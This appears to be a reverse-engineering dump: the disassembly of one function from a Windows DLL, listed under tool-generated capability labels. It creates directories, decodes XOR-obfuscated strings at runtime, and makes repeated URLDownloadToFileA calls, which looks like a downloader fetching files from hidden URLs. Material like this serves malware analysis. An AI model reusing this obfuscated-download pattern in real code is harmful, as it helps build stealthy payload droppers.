Function at 0x10097800
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Get file attributes
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10331c40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x1009781c
lea eax, [ebp - 0x1c]
mov ecx, 0x103207d0
push eax
call fcn.10054a70
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x10337050
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.1005bc40
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x10097870
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10097866
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100978ba
push ecx
push edx
call fcn.1015539a
add esp, 8
lea eax, [ebp - 0x1c]
mov ecx, 0x103207e8
push eax
call fcn.10054e70
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x10337080
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.1005bc40
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x100978ca
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100978c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100978c0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1015539a
add esp, 8
cmp dword [0x10337064], 0xf
mov eax, 0x10337050
cmova eax, dword [0x10337050]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x100978fe
call esi
cmp eax, 2
je 0x10097903
test bl, 0x10
jne 0x1009791b
cmp dword [0x10337064], 0xf
mov eax, 0x10337050
push 0
cmova eax, dword [0x10337050]
push eax
call edi
cmp dword [0x10337094], 0xf
mov eax, 0x10337080
cmova eax, dword [0x10337080]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10097943
call esi
cmp eax, 2
je 0x10097948
test bl, 0x10
jne 0x10097960
cmp dword [0x10337094], 0xf
mov eax, 0x10337080
push 0
cmova eax, dword [0x10337080]
push eax
call edi
lea eax, [ebp - 0x34]
mov ecx, 0x10320840
push eax
call fcn.1006fcf0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
cmp byte [0x10320808], 0
mov dword [ebp - 0x3c], eax
je 0x100979f3
cmp byte [0x10320809], 0
jne 0x10097a46
mov byte [0x10320809], 1
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x10320838]
xor edi, dword [0x1032083c]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x1032080a], al
inc ebx
cmp ebx, 0x2d
jb 0x100979a0
jmp 0x10097a46
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x10320838]
xor edi, dword [0x1032083c]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x1032080a], al
inc ebx
cmp ebx, 0x2d
jb 0x100979f5
lea eax, [ebp - 0x35]
push eax
push 0x10320836
push 0x1032080a
lea ecx, [ebp - 0x1c]
call fcn.10054040
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0
cmova eax, dword [ebp - 0x1c]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x10097aa8
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10097a9e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10097ae0
push ecx
push edx
call fcn.1015539a
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp ecx, 0xf
jbe 0x10097af0
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10097ae6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10097ae6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1015539a
add esp, 8
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x34]
mov ecx, 0x103208c8
push eax
call fcn.1006fcf0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
cmp byte [0x10320888], 0
mov dword [ebp - 0x3c], eax
je 0x10097b86
cmp byte [0x10320889], 0
jne 0x10097be1
mov byte [0x10320889], 1
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x103208c0]
xor edi, dword [0x103208c4]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x1032088a], al
inc ebx
cmp ebx, 0x2f
jb 0x10097b33
jmp 0x10097be1
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x103208c0]
xor edi, dword [0x103208c4]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x1032088a], al
inc ebx
cmp ebx, 0x2f
jb 0x10097b90
lea eax, [ebp - 0x35]
push eax
push 0x103208b8
push 0x1032088a
lea ecx, [ebp - 0x1c]
call fcn.10054040
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0
cmova eax, dword [ebp - 0x1c]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x10097c43
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10097c39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10097c7b
push ecx
push edx
call fcn.1015539a
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp ecx, 0xf
jbe 0x10097c8b
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10097c81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10097c81
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1015539a
add esp, 8
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320950
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320910
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006fa80
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x103209d8
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320998
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006fa80
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320a60
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320a20
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f8e0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320ae0
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320aa8
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f330
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320b68
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320b28
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f740
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320be8
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320bb0
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f330
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320c70
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320c30
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f740
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320cf8
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320cb8
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f8e0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320d80
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10320d40
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.1006f8e0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
lea eax, [ebp - 0x1c]
mov ecx, 0x10320e00
push eax
call fcn.1006fcf0
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
cmp byte [0x10320dc8], 0
mov dword [ebp - 0x3c], eax
je 0x10098043
cmp byte [0x10320dc9], 0
jne 0x10098096
mov byte [0x10320dc9], 1
xor ebx, ebx
nop
xor edi, edi
mov esi, ebx
xor esi, dword [0x10320df8]
xor edi, dword [0x10320dfc]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x10320dca], al
inc ebx
cmp ebx, 0x2e
jb 0x10097ff0
jmp 0x10098096
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x10320df8]
xor edi, dword [0x10320dfc]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x10320dca], al
inc ebx
cmp ebx, 0x2e
jb 0x10098045
lea eax, [ebp - 0x35]
push eax
push 0x10320df7
push 0x10320dca
lea ecx, [ebp - 0x34]
call fcn.10054040
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.10049830
lea ecx, [ebp - 0x1c]
call fcn.10049830
test esi, esi
jne 0x100980e5
jmp 0x100980e5
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.101556c2
mov esp, ebp
pop ebp
ret